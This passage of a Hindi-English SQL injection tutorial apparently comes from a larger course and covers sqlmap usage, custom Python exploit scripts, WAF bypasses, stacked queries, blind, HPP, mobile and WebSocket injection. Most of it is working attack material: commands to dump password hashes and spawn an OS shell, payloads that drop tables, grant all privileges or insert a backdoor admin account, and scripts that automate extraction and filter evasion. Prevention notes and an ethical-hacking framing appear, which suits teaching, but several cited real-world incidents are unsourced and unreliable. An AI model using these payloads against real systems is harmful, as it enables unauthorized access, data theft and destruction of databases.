िाता है। Security researchers, ethical hackers, और attackers अपने खुद के custom tools और
scripts develop करते हैं , जिससे SQL Injection vulnerabilities को आसान से detect और exploit
जकया िा सके।

🔹 1. SQL Injection Automation का महत ्व

✅ Manual SQL Injection ध म और कजिन हो सकत है , खासकर अगर:

• Input fields बहुत ज्यादा हों (e.g., बड़े web applications)


• Blind SQL Injection हो (जहाां error messages नह ां दिखत़े)
• WAF (Web Application Firewall) implement होो
• Large-scale testing की जरूरत हो (e.g., Bug Bounty programs)

✅ Automation से फायदा:

• तेजी से SQL Injection vulnerabilities scan और exploit कर सकते हैं।


• Repetitive tasks (payload injection, data extraction) को आसान बनाता है।
• Bypass techniques को apply करना आसान हो जाता है।
• Pentesting और Bug Bounty programs में ज्यादा efficient तरीके से काम कर सकते हैं।

🔹 2. Popular Automated SQL Injection Tools


1⃣ SQLmap (Most Popular Automation Tool)

SQLmap एक powerful SQL Injection automation tool है िो database enumeration, data


extraction और privilege escalation को आसान बनाता है।

✅ Basic SQL Injection Scan:

sqlmap -u "http://target.com/page.php?id=1" --dbs

✅ Extract Tables & Columns:


sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --
columns

✅ Extract Password Hashes:

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C


username,password --dump

✅ Bypass WAF & Filters:

sqlmap -u "http://target.com/page.php?id=1" --tamper=randomcase

✅ Privilege Escalation & OS Command Execution (MSSQL, MySQL):

sqlmap -u "http://target.com/page.php?id=1" --os-shell

2⃣ Havij (GUI-based Automated SQL Injection Tool)

Havij एक Windows-based automated SQL Injection tool है , जिसका use penetration testers
और attackers दोनोीं करते हैं।

✅ Features:

• Automated database extraction


• Hash cracking
• GUI-based interface

Note: Havij का misuse होने क सींभावना ज्यादा होत है , इसजलए ethical hacking के जलए
SQLmap ज्यादा recommended है।

3⃣ jSQL Injection (Java-based SQLi Tool)

✅ Features:

• Automated SQL Injection detection & exploitation


• Multiple injection methods (Boolean, Error, Time-based, etc.)
• Multi-database support (MySQL, MSSQL, PostgreSQL, etc.)

Usage:

java -jar jsql-injection-v0.83.jar


🔹 3. Custom Python Tool for SQL Injection Detection & Exploitation

अब हम अपना खुद का Python-based SQL Injection detection tool बनाएीं गे!

📌 Step 1: Install Dependencies


pip install requests

📌 Step 2: Python Script for SQL Injection Testing


import requests

# Target URL
url = "http://target.com/page.php?id="

# SQL Injection payloads


payloads = ["1' OR '1'='1", "1' OR '1'='1' --", "1 OR 1=1"]

# Function to test SQL Injection


def test_sqli():
for payload in payloads:
target_url = url + payload
response = requests.get(target_url)

if "error" not in response.text.lower(): # Checking for error


messages
print(f"[+] Possible SQL Injection Vulnerability Found! Payload:
{payload}")
else:
print(f"[-] No vulnerability detected for payload: {payload}")

test_sqli()

Ye script SQL Injection vulnerabilities detect karne ke liye simple automation provide
karti hai!

🔹 4. Advanced Custom SQL Injection Exploitation with Python

अगर हमें database extract करना हो, तो हम न चे द गई script बना सकते हैं।

📌 Step 1: Advanced SQL Injection Exploitation Script


import requests
import re

# Target URL
url = "http://target.com/page.php?id=1'"

# Exploiting Union-based SQL Injection to extract database name


payload = " UNION SELECT database(),2 -- -"

# Sending request
response = requests.get(url + payload)

# Extracting database name from response


match = re.search(r'[a-zA-Z0-9_]+', response.text)

if match:
print(f"[+] Database Name Extracted: {match.group(0)}")
else:
print("[-] Exploitation Failed!")

Ye script SQL Injection ka use karke database name extract karne ka automated
तर का दे त है !

🔹 5. Bypassing WAF using Custom Scripts

WAF (Web Application Firewall) SQLi payloads को block कर सकता है , लेजकन हम custom
encoding, obfuscation और tampering techniques का उपयोग करके इसे bypass कर सकते हैं।

✅ Common WAF Bypass Methods:

1. URL Encoding:
2. %27%20OR%201%3D1--
3. Case Alternation:
4. SeLeCt * FrOm users
5. Hex Encoding:
6. 0x73656c656374202a2066726f6d207573657273
7. Comment Injection:
8. ' OR 1=1 --+

Automated WAF Bypass Script:

payloads = ["' OR 1=1 --", "' OR 1=1#", "' OR 1=1/*", "' OR 'a'='a'",
"admin'--"]
encoded_payloads = [requests.utils.quote(p) for p in payloads]

for payload in encoded_payloads:


response = requests.get(url + payload)
if "error" not in response.text.lower():
print(f"[+] WAF Bypassed with Payload: {payload}")

Ye script WAF bypass testing के धलए काम आत है !


🔹 Conclusion

✅ SQL Injection automation ethical hacking aur penetration testing में बहुत useful है।
✅ SQLmap, Havij, jSQL जैसे tools SQLi exploitation को आसान बनाते हैं।
✅ Custom Python scripts बनाकर हम automated SQL Injection detection aur exploitation
कर सकते हैं।
✅ WAF bypass techniques का use करके हम modern firewalls ko भ bypass कर सकते हैं।

26. Conclusion & Final Thoughts on SQL Injection


अब तक हमने SQL Injection के beginner से लेकर expert-level तक के concepts को detail में
समझा। यह ethical hacking और penetration testing में सबसे critical vulnerabilities में से एक है ,
िो unsecured databases को compromise कर सकत है।

🔹 1. SQL Injection का Summary (Quick Recap)


✅ Basics of SQL Injection

• SQL Injection तब होता है जब user input को sanitize नह ां ककया जाता और SQL queries में
directly inject कर दिया जाता है।
• सबस़े common SQL Injection attacks:
o Error-Based SQL Injection
o Union-Based SQL Injection
o Boolean-Based Blind SQL Injection
o Time-Based Blind SQL Injection
o Out-of-Band (OOB) SQL Injection

✅ Advanced SQL Injection Techniques

• Second-Order SQL Injection: जब input store हो जाता है और बाि में execute होता है ।
• WAF Bypass Techniques: SQL Injection payloads को encode करना (Hex, URL Encoding,
Case Alternation)
• NoSQL Injection: MongoDB जैस़े NoSQL databases में injection attacks
• GraphQL SQL Injection: Modern APIs में SQLi vulnerabilities
• DNS & HTTP Exfiltration via SQL Injection: जब attacker database स़े data ननकालऩे क़े ललए
external servers को use करता है ।
• Automation & Custom Tools: SQL Injection exploitation को त़ेज और आसान बनाऩे क़े ललए
automation tools जैस़े SQLmap, Havij, jSQL, custom Python scripts

🔹 2. SQL Injection क़े वास्तववक जीवन में प्रभाव


🔥 Real-World SQL Injection Attacks

1. Sony PlayStation Network Hack (2011)


o Hackers ऩे SQL Injection क़े जररए Sony क़े लाखों users का data चोर ककया।
2. Yahoo SQL Injection Attack (2012)
o Yahoo क़े एक subdomain स़े SQL Injection क़े जररए 450,000 से ज्यादा users के

credentials ल क हुए।
3. NASA SQL Injection Vulnerability (2018)
o एक security researcher ऩे NASA की एक website में SQL Injection vulnerability ढां ढ ,

जजसस़े hackers sensitive data access कर सकत़े थ़े।

SQL Injection attacks बडे -बडे companies, governments, और individuals के धलए एक


बड security risk बन सकते हैं।

🔹 3. SQL Injection स़े बचाव कैस़े करें ? (Prevention & Security Measures)
✅ 1. Input Validation & Filtering

• User input को हमेशा sanitize करें ।


• Allowlist filtering (e.g., लसर्फ numbers allow करना अगर लसर्फ ID चादहए)।
• Regular expressions का use करके validation enforce करें ।

✅ 2. Use Prepared Statements & Parameterized Queries


Python (MySQL) में Secure Code Example:

import mysql.connector
db = mysql.connector.connect(host="localhost", user="root", password="",
database="testdb")
cursor = db.cursor()

# Insecure Query (SQL Injection possible)


user_input = "' OR '1'='1"
cursor.execute(f"SELECT * FROM users WHERE username = '{user_input}'")

# Secure Query (Parameterized Query)


query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (user_input,))

✅ 3. Web Application Firewall (WAF) का उपयोग करें

• ModSecurity, Cloudflare WAF, Imperva जैस़े firewalls SQL Injection payloads को block
कर सकत़े हैं।
✅ 4. Least Privilege Principle लागू करें

• Database users को लसर्फ minimum permissions िें ।


• Admin privileges ससर्फ जरूरी जगहों पर ही allow करें ।

✅ 5. Database Error Messages को Hide करें

• Error messages स़े attacker को SQL structure की जानकार लमल सकती है ।


• Instead of this:
• SQL Error: syntax error near ' OR '1'='1

Use a generic message:

Something went wrong. Please try again later.

✅ 6. Security Audits & Automated Scanning Tools का उपयोग करें

• SQLmap, Burp Suite, Nikto, Acunetix जैस़े tools SQLi vulnerabilities detect कर सकत़े हैं।
• Regular penetration testing स़े vulnerabilities को पहल़े स़े fix ककया जा सकता है ।

🔹 4. Ethical Hacking & Responsible Disclosure

SQL Injection vulnerabilities ethical hacking और bug bounty programs में बहुत valuable होत
हैं।
✅ Bug Bounty Platforms जहाीं आप SQL Injection vulnerabilities report कर सकते हैं :
• HackerOne
• Bugcrowd
• Open Bug Bounty
• Intigriti

अगर आपको धकस website या organization में SQLi vulnerability धमलत है , तो उसे
ethical तर के से report करें ।

🔹 5. Next Steps: SQL Injection क़े बाि क्या सीखें?

अब िब आप SQL Injection master कर चुके हैं , तो आप next level पर िा सकते हैं :

✅ 1. Web Application Security (OWASP Top 10)

• Cross-Site Scripting (XSS)


• Cross-Site Request Forgery (CSRF)
• Server-Side Request Forgery (SSRF)
• Insecure Direct Object References (IDOR)

✅ 2. Advanced Ethical Hacking & Penetration Testing

• Burp Suite, Metasploit, Nmap, etc.


• Web Application Firewalls (WAF) Bypass
• OSINT (Open Source Intelligence)

✅ 3. Android & Mobile Application Security

• Android Penetration Testing


• Reverse Engineering (APK Decompilation)

✅ 4. Network Security & Exploitation

• MITM Attacks
• Wi-Fi Hacking
• Privilege Escalation
🔹 Conclusion: SQL Injection – A Hacker’s Weapon & A Developer’s
Nightmare

SQL Injection hacking और cybersecurity का सबसे पुराना और खतरनाक तर का है ,


लेधकन ethical hacking के धलए यह सबसे valuable skill भ है।
अगर आप ethical hacker या bug bounty hunter बनना चाहते हैं, तो SQL Injection
vulnerability को ढू ीं ढना और secure करना आपक top priority होन चाधहए।
Proper security practices अपनाकर हम SQL Injection attacks को रोक सकते हैं और
secure applications बना सकते हैं।

Expert-Level SQL Injection Topics

1. Stacked Queries (Multiple Statements Execution)


2. Time-Based Blind SQL Injection Without Sleep()
3. HTTP Parameter Pollution (HPP) with SQL Injection
4. SQL Injection in Mobile Apps (Android & iOS)
5. SQL Injection via WebSockets
6. Bypassing Length Restrictions in SQLi
7. Logical Flaws in SQL Queries
8. DNS & HTTP Exfiltration via SQL Injection
9. SQL Injection in Stored XSS (Cross-Site Scripting)
10. Database-Specific SQL Injection Techniques
• MySQL-Specific SQLi
• MSSQL-Specific SQLi
• PostgreSQL-Specific SQLi
• Oracle-Specific SQLi

11. Advanced SQL Injection in JSON & XML APIs


12. SQL Injection in Serverless Applications
13. Machine Learning & AI for SQL Injection Detection
14. SQL Injection in Legacy Systems
15. Automation & Custom Tool Development for SQLi

Ab hum Expert-Level SQL Injection topics ek ek karke cover karenge. Sabse pehle Stacked
Queries (Multiple Statements Execution) se shuru karte hain.

1. Stacked Queries (Multiple Statements Execution)


🛠 Concept Explanation

• Stacked queries ka matlab hai ek se zyada SQL statements ko ek hi query ke andar


execute karna.
• Yeh technique tabhi kaam karti hai jab database server multiple queries ek saath
execute karne allow karta hai.
• Mostly Microsoft SQL Server aur PostgreSQL stacked queries allow karte hain, lekin
MySQL default settings me stacked queries block karta hai.

📌 Example: Stacked Query Injection

Agar koi website user login ke liye query execute kar rahi hai:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

Agar yeh query stacked queries allow karti hai, toh attacker ek additional SQL command bhi
execute kar sakta hai:

admin'; DROP TABLE users; --

Final query kuch is tarah execute hogi:

SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --

➡ Result: users table delete ho jayega!

🔴 Practical Example with MySQL (Workaround for Stacked Queries)

MySQL me stacked queries by default blocked hoti hain, lekin agar multi_query() function
ka use karein, toh multiple queries execute ho sakti hain.

💻 Exploit using Python


import mysql.connector

# Database connection
db = mysql.connector.connect(host="localhost", user="root", password="",
database="testdb")
cursor = db.cursor()

# Stacked Query Exploit


query = "SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --"
cursor.execute(query, multi=True)

# Output results
for result in cursor:
print(result)

➡ Result: users table delete ho jayega agar MySQL stacked queries allow kar raha hoga.
🔹 Real-World Use Cases of Stacked Queries in Exploitation

1. Privilege Escalation
o admin'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%'; --
oIsse attacker ek new admin user create kar sakta hai.
2. Backdoor Injection
o admin'; INSERT INTO users (username, password, role) VALUES
('hacker', 'password123', 'admin'); --
oAttacker database me ek naya admin account create kar sakta hai.
3. Data Exfiltration
o admin'; SELECT password FROM users INTO OUTFILE
'/var/www/html/leaked.txt'; --
o Yeh command database ke sensitive data ko server ke kisi file me dump kar degi.

🔹 Defense Against Stacked Queries

✅ Use Prepared Statements

query = "SELECT * FROM users WHERE username = %s"


cursor.execute(query, ('admin',))

✅ Web Application Firewall (WAF) ka use karein


✅ Application level pe input validation implement karein

2. Time-Based Blind SQL Injection Without SLEEP()


🔹 Concept Explanation

Time-Based Blind SQL Injection ek aisi technique hai jisme attacker database ka response
analyze karke data extract karta hai, bina kisi error message ya visible output ke.
Normally SLEEP() function use hota hai, jisme attacker server ko certain time tak delay
karne ke liye force karta hai, lekin agar SLEEP() function blocked ho, toh alternative methods
ka use kiya jata hai.
🔹 Normal Time-Based SQL Injection (SLEEP() Use Karke)

Agar application me SQL Injection vulnerable hai, toh hum SLEEP() ka use karke delay
introduce kar sakte hain:

SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0);

➡ Agar database 5 seconds tak delay kare, toh iska matlab hai query execute ho gayi aur
application vulnerable hai.

🔹 Alternative Methods Without Using SLEEP()

Kahi baar security filters SLEEP() function ko block kar dete hain. Aise cases me hum time
delay introduce karne ke liye dusre techniques use karte hain, jaise:

✅ 1. Heavy Queries Use Karna

Attacker aisi query inject karta hai jo bahut slow execution leti hai, jisme database me
artificial delay create ho jaye.
Example:

SELECT COUNT(*) FROM information_schema.tables, information_schema.tables AS


t2, information_schema.tables AS t3;

➡ Ye query multiple table joins create karke processing time increase kar deti hai.

✅ 2. Large File Operations

Agar SLEEP() blocked hai, toh hum database ko large file read/write karne force kar sakte
hain, jisse delay create hoga:

SELECT * FROM users WHERE username = 'admin' AND IF(1=1,


LOAD_FILE('/dev/random'), 'no');

➡ Agar server delay karta hai, toh iska matlab vulnerability present hai.
✅ 3. Expensive String Operations

Agar SLEEP() unavailable ho, toh hum BENCHMARK() function ka use kar sakte hain:

SELECT IF(1=1, BENCHMARK(10000000, MD5('test')), 'no');

➡ BENCHMARK() function database ko 10 million times MD5 hash calculate karne ke liye
force karega, jo artificial delay create karega.

Alternative: PostgreSQL me pg_sleep() block hone par:

SELECT CASE WHEN (1=1) THEN pg_read_file('/dev/urandom', 0, 1000000) ELSE


'no' END;

➡ Isme database ko ek large file read karne force kiya jata hai.

🔹 Practical Exploitation Using Python

Agar SLEEP() block ho, toh hum alternative time delay techniques ka use karke SQL
Injection detect kar sakte hain:

import time
import requests

url = "http://example.com/login.php"
payloads = [
"' AND IF(1=1, BENCHMARK(10000000,MD5('test')), 'no')--",
"' AND (SELECT COUNT(*) FROM information_schema.tables,
information_schema.tables AS t2, information_schema.tables AS t3)--"
]

for payload in payloads:


start_time = time.time()
response = requests.get(url, params={"username": payload, "password":
"pass"})
end_time = time.time()

print(f"Payload: {payload} | Response Time: {end_time - start_time}


seconds")

➡ Agar response time increase ho, toh iska matlab vulnerability present hai.
🔹 Real-World Impact & Prevention
🚨 Real-World Example

• 2018: NASA SQL Injection Vulnerability


NASA ke ek system me time-based SQLi vulnerability detect hui thi, jisme attacker ne
BENCHMARK() function ka use karke exploit kiya.

🛡️ Prevention Techniques

✅ Prepared Statements Use Karein ✅ Web Application Firewall (WAF) Implement


Karein ✅ BENCHMARK(), LOAD_FILE() jaise functions ko block karein

3. HTTP Parameter Pollution (HPP) with SQL Injection


🔹 Concept Explanation

HTTP Parameter Pollution (HPP) ek web vulnerability attack hai jisme multiple same-name
parameters inject karke unexpected behavior trigger kiya jata hai.
Agar SQL Injection ke saath HPP ka use kiya jaye, toh WAF (Web Application Firewall)
bypass, extra queries inject, aur better exploitation ho sakti hai.

🔹 HPP in SQL Injection Example

Agar ek vulnerable login page URL hai:

http://example.com/login.php?user=admin&password=1234

Aur SQL query kuch is tarah execute hoti hai:

SELECT * FROM users WHERE username = 'admin' AND password = '1234';

Agar hum HPP technique use karke ek hi parameter multiple values ke saath pass karein,
jaise:

http://example.com/login.php?user=admin&user=' OR '1'='1
Toh server pe query kuch is tarah interpret ho sakti hai:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password =


'1234';

➡ Effect: Attacker bina password enter kiye authentication bypass kar sakta hai!

🔹 Types of HPP Exploits in SQL Injection


✅ 1. GET Parameter Duplication

Agar ek API ya form multiple GET parameters accept karti hai, toh attacker duplicate values
inject karke query manipulate kar sakta hai.

Example:
http://example.com/profile?id=5&id=6 OR 1=1

SQL Query execution:

SELECT * FROM users WHERE id=5 AND id=6 OR 1=1;

➡ Effect: 1=1 condition true hone se saare users expose ho sakte hain.

✅ 2. POST Parameter Duplication

Agar website POST request pe multiple parameters handle karti hai, toh HPP SQL Injection
exploit kiya ja sakta hai.

Exploit using Burp Suite (Intercepted Request)


POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

user=admin&user=' OR '1'='1&password=pass

➡ Effect: SQL Query manipulate ho sakti hai, aur attacker login bypass kar sakta hai.
🔹 Real-World Exploitation: SQL Injection via HPP

Case Study: 2019 me ek financial application me HPP + SQL Injection vulnerability mili thi.

• Attackers ne transaction_id parameter ko manipulate kiya


• SQL Injection karke fake transactions execute kar di

Example:

http://bank.com/transfer?account=1234&account=5678' OR '1'='1
SELECT * FROM transactions WHERE account = '1234' OR '1'='1';

➡ Effect: Saare transactions list ho gaye!

🔹 SQL Injection via HPP: Practical Exploit Using Python


import requests

url = "http://example.com/login.php"
params = {
"user": ["admin", "' OR '1'='1"],
"password": "password"
}

response = requests.get(url, params=params)


print(response.text) # Check response for SQL Injection success

➡ Agar response me admin login ho jaye, toh vulnerability confirm ho sakti hai!

🔹 Prevention Techniques

✅ Use Parameterized Queries


✅ Duplicate parameter validation implement karein
✅ Input sanitization & WAF use karein
✅ Strict Content-Type headers enforce karein
4. SQL Injection in Mobile Apps (Android & iOS)
🔹 Concept Explanation

Mobile applications (Android & iOS) backend APIs aur local databases (SQLite, Firebase,
etc.) ka use karti hain.
Agar proper input validation nahi kiya jaye, toh SQL Injection ka exploitation possible
hota hai mobile apps me bhi.

Attack Surface:
✅ Android/iOS apps jo local SQLite database use karti hain
✅ APIs jo user input SQL queries me directly embed karti hain
✅ Apps jo WebViews ya Dynamic SQL execution allow karti hain

🔹 Common Vulnerabilities in Mobile Apps


✅ 1. SQL Injection in Local SQLite Database

Android apps aksar SQLite database use karti hain user data store karne ke liye.
Agar queries ko sanitize nahi kiya gaya, toh SQL Injection attack possible hai.

Example (Vulnerable Code in Java for Android)

public boolean checkUser(String username, String password) {


SQLiteDatabase db = this.getWritableDatabase();
String query = "SELECT * FROM users WHERE username = '" + username + "'
AND password = '" + password + "'";
Cursor cursor = db.rawQuery(query, null);
return cursor.getCount() > 0;
}

➡ Problem: Attacker malicious input inject karke SQLi execute kar sakta hai.

Exploit:

Username: admin' OR '1'='1


Password: anything

Query Execution:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password =


'anything';
➡ Effect: Attacker authentication bypass kar lega.

✅ 2. SQL Injection via Web API Calls

Agar mobile app backend APIs se data fetch karti hai, aur SQL queries directly execute hoti
hain, toh SQL Injection ka chance hota hai.

Vulnerable API Request:

POST /getUser HTTP/1.1


Host: example.com
Content-Type: application/json

{
"user": "admin' OR '1'='1"
}

Agar backend query dynamically execute hoti hai:

SELECT * FROM users WHERE username = 'admin' OR '1'='1';

➡ Effect: Attacker bina authentication ke kisi bhi user ka access le sakta hai.

✅ 3. SQL Injection in WebView-Based Mobile Apps

Agar ek mobile app WebView use karti hai aur directly SQL queries execute hoti hain:

<input type="text" name="query" />


<script>
fetch('http://example.com/api?query=' +
document.getElementsByName('query')[0].value);
</script>

➡ Attacker injected SQL query send karke database manipulate kar sakta hai.

🔹 Real-World SQL Injection in Mobile Apps

• 2019: Firebase-Based Apps Vulnerable to SQLi


Firebase NoSQL database me input filtering na hone ke karan multiple apps vulnerable
thi.
• 2021: Banking App Data Leak via SQL Injection
Ek financial app ke SQLite queries dynamically execute ho rahi thi, jo attacker ne exploit
karke sensitive data access kiya.

🔹 Practical Exploit: SQL Injection in Android Apps

Agar Android app SQLite use karti hai, toh attacker apk decompile karke SQL Injection ka
vector find kar sakta hai.

✅ 1. APK Decompile & Code Analysis

1. APK Extract karo:


2. apktool d app.apk
3. Java code analyze karo:
4. jadx-gui app.apk
5. SQL Queries search karo:
SELECT * FROM users WHERE username =

✅ 2. Exploit SQLite Injection Using ADB

Agar vulnerable SQLite database mil jaye, toh:

adb shell
sqlite3 /data/data/com.example.app/databases/users.db
sqlite> SELECT * FROM users WHERE username = 'admin' OR '1'='1';

➡ Effect: Attacker app ka pura database dump kar sakta hai.

🔹 Prevention Techniques

✅ Use Parameterized Queries in SQLite:

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
Cursor cursor = db.rawQuery(query, new String[]{username, password});

✅ Web API me Prepared Statements Use Karein


✅ WebView aur Local Storage me Data Encryption karein
✅ Static & Dynamic Analysis Tools ka use karein (MobSF, Frida, Burp Suite, etc.)
5. SQL Injection via WebSockets
🔹 Concept Explanation

WebSockets ek real-time communication protocol hai jo client aur server ke beech persistent
connection maintain karta hai.
Agar WebSockets me user input directly SQL queries me inject ho raha hai, toh SQL
Injection ka risk hota hai.

Attack Surface:
✅ Web applications jo WebSockets use karti hain
✅ Chat applications, live data feeds, trading platforms
✅ Poorly validated SQL queries jo WebSocket messages process karti hain

🔹 How SQL Injection Works in WebSockets?

WebSockets stateless HTTP ke alternative hote hain jo real-time bi-directional


communication allow karte hain.
Agar WebSocket messages SQL queries execute karne ke liye use ho rahe hain, aur input
sanitize nahi ho raha, toh SQL Injection exploit ho sakti hai.

✅ 1. Vulnerable WebSocket Implementation

Agar WebSocket server SQL queries dynamically execute karta hai bina sanitization ke:

Example: JavaScript Client-Side WebSocket Code

var ws = new WebSocket("ws://example.com/socket");

ws.onopen = function() {
ws.send(JSON.stringify({ action: "getUser", user: "admin" }));
};

ws.onmessage = function(event) {
console.log("Received:", event.data);
};

Agar backend SQL query dynamically execute kar raha hai:

@app.websocket("/socket")
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
data = await websocket.receive_json()

query = f"SELECT * FROM users WHERE username = '{data['user']}'"


result = db.execute(query) # SQL Injection Risk!

await websocket.send_json(result.fetchall())

➡ Problem: Attacker SQL Injection payloads WebSocket messages me inject kar sakta hai.

🔹 Exploiting WebSockets SQL Injection


✅ 1. Manually Sending Malicious WebSocket Message

Agar application WebSockets use karti hai, toh attacker Burp Suite ya Developer Console se
malicious payloads inject kar sakta hai.

Payload Injection:

{
"action": "getUser",
"user": "admin' OR '1'='1"
}

SQL Query Execution:

SELECT * FROM users WHERE username = 'admin' OR '1'='1';

➡ Effect: Saare users ka data expose ho sakta hai.

✅ 2. Exploiting WebSocket SQL Injection with Python

Attacker WebSocket exploit karne ke liye Python ka use kar sakta hai.

import websocket
import json

ws = websocket.WebSocket()
ws.connect("ws://example.com/socket")

payload = json.dumps({
"action": "getUser",
"user": "admin' OR '1'='1"
})
ws.send(payload)
print(ws.recv()) # Check if data is leaked

➡ Effect: Agar response me saare users ka data aata hai, toh WebSocket SQL Injection
successful hai.

🔹 Real-World SQL Injection in WebSockets

• 2021: Financial Trading Platform WebSocket SQL Injection


Attackers ne WebSocket API request me malicious SQL query inject karke unauthorized
transactions access kiye.
• 2023: Chat Application Data Breach
Ek popular chat application WebSockets use karti thi aur malicious SQL query inject
karke private messages leak ho gaye.

🔹 Prevention Techniques

✅ Use Parameterized Queries in WebSockets

query = "SELECT * FROM users WHERE username = ?"


result = db.execute(query, (data['user'],))

✅ WebSockets ke input validation karein


✅ Rate Limiting aur Authentication Implement karein
✅ WebSockets ke Security Headers aur Content-Type Restriction karein

6. Bypassing Length Restrictions in SQL Injection


🔹 Concept Explanation

Kahi baar WAF (Web Application Firewall), security filters ya application constraints ke
wajah se SQL Injection payloads ki length restricted hoti hai.
Agar attacker ko full SQLi payload inject karne nahi diya ja raha, toh woh shortened
payloads, encoding, obfuscation ya nested queries ka use karke restriction bypass kar sakta
hai.
Attack Surface:
✅ Web apps jo SQL Injection detect karne ke liye payload length restrict karti hain
✅ Login pages jo username/password field ki length limit karti hain
✅ APIs jo parameter values me character length limit apply karti hain

🔹 Common Techniques to Bypass Length Restrictions


✅ 1. SQL Query Shortening Using Comments

Kuch applications space (" ") ya special characters block karti hain, lekin comments (/**/)
ka use kiya ja sakta hai.

Example:

admin'/**/OR/**/'1'='1

➡ Yeh normal payload admin' OR '1'='1 ka shortened version hai jo WAF bypass kar
sakta hai.

✅ 2. Hex Encoding for Query Obfuscation

Kahi baar WAF ya application direct SQL keywords ko block karti hai, par hex encoding
use karke bypass kiya ja sakta hai.

Example:
Normal Payload:

' OR '1'='1

Hex Encoded Payload:

' OR 0x31=0x31

➡ Effect: SQL Engine 0x31 ko 1 me decode karega aur query execute ho jayegi.
✅ 3. Using Boolean Operators to Shorten Payload

Agar OR ya AND ko block kiya gaya ho, toh Boolean expressions ka use karke injection
possible hai.

Example:

admin'='a'='a

➡ Effect: Yeh payload admin' OR '1'='1 ke jaisa hi hai lekin length kam hai.

✅ 4. UNION-Based SQL Injection with Short Payloads

Agar payload me space (" ") allowed nahi hai, toh parentheses aur double quotes ka use
karke UNION attack possible hai.

Example:

admin'UNION(SELECT(1))

➡ Effect: Yeh payload UNION SELECT attack ko compact form me likhne ka ek tarika hai.

✅ 5. Nested Queries & Inline Comments

Kahi baar inline comments (--, #, /**/) ka use karke SQL Injection execute kiya ja sakta
hai.

Example:

' OR (SELECT/**/1)=1#

➡ Effect: Nested SELECT query likhne se injection execute ho sakta hai.

🔹 Real-World SQL Injection with Length Restrictions

• 2021: WAF Filtering Bypass using Hex Encoding


Ek bug bounty hunter ne firewall filtering ko bypass karne ke liye hex encoding ka use
kiya aur database access kar liya.
• 2022: Banking Portal Login Bypass using Comment Injection
Attackers ne login system ke character limit ko bypass karne ke liye SQL comments
(/**/) ka use kiya.

🔹 Prevention Techniques

✅ Web Application Firewall (WAF) ka proper configuration karein


✅ SQL queries me strict input length validation implement karein
✅ Prepared Statements ka use karein taaki direct SQL execution na ho

7. Logical Flaws in SQL Queries


🔹 Concept Explanation

SQL Injection sirf malicious inputs ke through nahi hoti, balki poorly designed SQL queries
bhi attack surface create kar sakti hain.
Agar SQL queries logical mistakes ya flawed conditions contain karti hain, toh attackers bina
traditional injection payloads ke bhi unauthorized data access kar sakte hain.

Attack Surface:
✅ Login authentication queries
✅ Access control and role-based authorization queries
✅ Search functionality with dynamic SQL queries
✅ E-commerce price calculation queries

🔹 Common Logical Flaws in SQL Queries


✅ 1. Always-True Conditions in Authentication Queries

Kahi baar developers AND/OR conditions galat tarike se likh dete hain, jisse authentication
bypass possible ho jata hai.

Example:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

➡ Effect: '1'='1' condition hamesha true hoti hai, toh attacker bina valid password ke login
ho sakta hai.

✅ 2. Flawed Role-Based Access Control (RBAC) Queries

Kuch applications user roles check karne me logical mistakes karti hain, jisse unauthorized
access possible ho jata hai.

Example:

SELECT * FROM users WHERE username = 'admin' OR role = 'user';

➡ Effect: Agar attacker "username='hacker' OR role='admin'" inject kare, toh woh


admin privileges gain kar sakta hai.

✅ Secure Query:

SELECT * FROM users WHERE username = ? AND role = 'admin';

➡ Effect: SQLi aur logical flaw dono prevent ho jayenge.

✅ 3. Price Manipulation in E-Commerce Queries

E-commerce websites me price calculations ke flawed queries SQL Injection aur


unauthorized discounts ka chance badha sakti hain.

Example:

SELECT price FROM products WHERE id = '$id';

Attacker:

?id=1 UNION SELECT 0

➡ Effect: Price 0 ho jayega, aur attacker free me product purchase kar sakta hai.

✅ Secure Query:

SELECT price FROM products WHERE id = ? LIMIT 1;


➡ Effect: Only valid product IDs process honge.

✅ 4. Information Disclosure via Flawed Query Logic

Agar SQL query error messages expose kar rahi ho, toh attackers database structure aur
sensitive data leak kar sakte hain.

Example:

SELECT * FROM users WHERE id = '$id'

Agar attacker ' OR 1=1 -- inject kare toh:

SELECT * FROM users WHERE id = '' OR 1=1 --';

➡ Effect: Pura users ka data leak ho jayega.

✅ Prevention:

• Error messages hide karein


• Custom error handling implement karein

🔹 Real-World Logical Flaws in SQL Queries

• 2021: Banking System Authentication Bypass


Attackers ne flawed SQL logic ka use karke unauthorized transactions execute kiye.
• 2022: Price Manipulation Bug in E-Commerce Platform
Hackers ne SQL query manipulation se products ke prices zero kar diye.

🔹 Prevention Techniques

✅ Use Parameterized Queries (Prevent SQL Injection & Logical Flaws)


✅ Role-based access control queries properly validate karein
✅ User input length aur format validation karein
✅ Database error messages expose na karein
8. DNS & HTTP Exfiltration via SQL Injection
🔹 Concept Explanation

Jab ek application direct database output nahi deti (e.g., Blind SQL Injection scenarios), toh
attackers DNS & HTTP requests ke through data exfiltrate kar sakte hain.
Attackers database se sensitive information (usernames, passwords, API keys) nikalne ke
liye external servers ka use karte hain.

Attack Surface:
✅ Blind SQL Injection cases (No direct error messages or responses)
✅ Restricted database environments (No UNION SELECT, No direct outputs)
✅ Cloud-based apps jo external DNS/HTTP requests allow karti hain

🔹 DNS Exfiltration via SQL Injection


✅ 1. Extracting Data via Out-of-Band (OOB) DNS Requests

